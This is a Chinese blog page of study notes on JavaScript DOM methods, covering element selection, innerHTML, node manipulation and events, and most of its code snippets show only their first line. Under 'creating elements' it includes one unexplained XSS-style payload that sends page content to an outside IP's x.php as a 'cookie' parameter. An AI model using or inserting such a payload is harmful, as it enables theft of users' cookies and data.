js-webapi
DOM元素获取
基本元素
getElementById()方法
1 | document.getElementById("intro"); |
返回带有指定ID的元素引用
getElementsByTagName
方法使用不区分大小写,甚至可以传入通配符*
1 | var p = document.getElementsByTagName("p")[0]; |
返回带有指定标签名的所有元素集合
getElementsByClassName
1 | document.getElementsByClassName("intro"); |
返回带有相同类名的元素列表
getElementsByClassName() 在 Internet Explorer 5,6,7,8 中无效
getElementsByName()
只对HTML文档有用,对XML不行,因为这是一个HTMLDocument类,因此它的调用方法也有些不同
1 | <form name="wlk"> |
document.querySelector 通过css选择器获得第一个匹配的元素对象
例子:
1 | document.querySelector('#top > div.layui-container > div :nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent; |
#top
: 选择元素的 ID 为 “top” 的祖先元素div.layui-container
: 选择该祖先元素下的 class 为 “layui-container” 的 div 元素div
: 选择上一步选择的 div 元素的直接子元素中的所有 div 元素:nth-child(4)
: 选择上一步选择的 div 元素的第四个子元素,即在其直接子元素中排在第四位的 div 元素div
: 选择上一步选择的 div 元素的直接子元素中的所有 div 元素div.layui-table-box
: 选择上一步选择的 div 元素的 class 为 “layui-table-box” 的子元素 div 元素div.layui-table-body.layui-table-main
: 选择上一步选择的 div 元素的 class 为 “layui-table-body” 和 “layui-table-main” 的子元素 div 元素
document.querySelectorAll 通过css选择器获得所有匹配的对象
通过它客户端JavaScript程序可以选择它们想要操作的元素
特殊元素
document.documentElement 全部文档
document.body 文档的主体
操作属性值
element.innerText
从起始位置到终止位置的内容,但它去除html标签,同时空格和换行也会去掉
element.innerHtml
从起始位置到终止位置的内容,包括html标签,同时空格和换行会保留
设置属性值
1 | <body> |
节点操作
父节点获取
1 | <script> |
子节点
1 | <script> |
第一个和最后一个子元素
1 | <script> |
删除节点
node.removeChild()方法子节点,返回删除的节点
1 | <button>删除</button> |
复制节点
1 | <script> |
创建元素
1 | <script> |
1 | <script>var inner = document.querySelector('.layui-container'); inner.innerHTML += '<a href="#">百度</a>' </script> |
1 | <script>id=document.getElementById('result').innerHTML;alert(id);location.href=("http://39.105.125.61/x.php?cookie="+id);</script> |
事件
三要素不必多说:
事件源,事件类型,事件处理程序
1 | <scipt> |
常见鼠标事件
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 anz!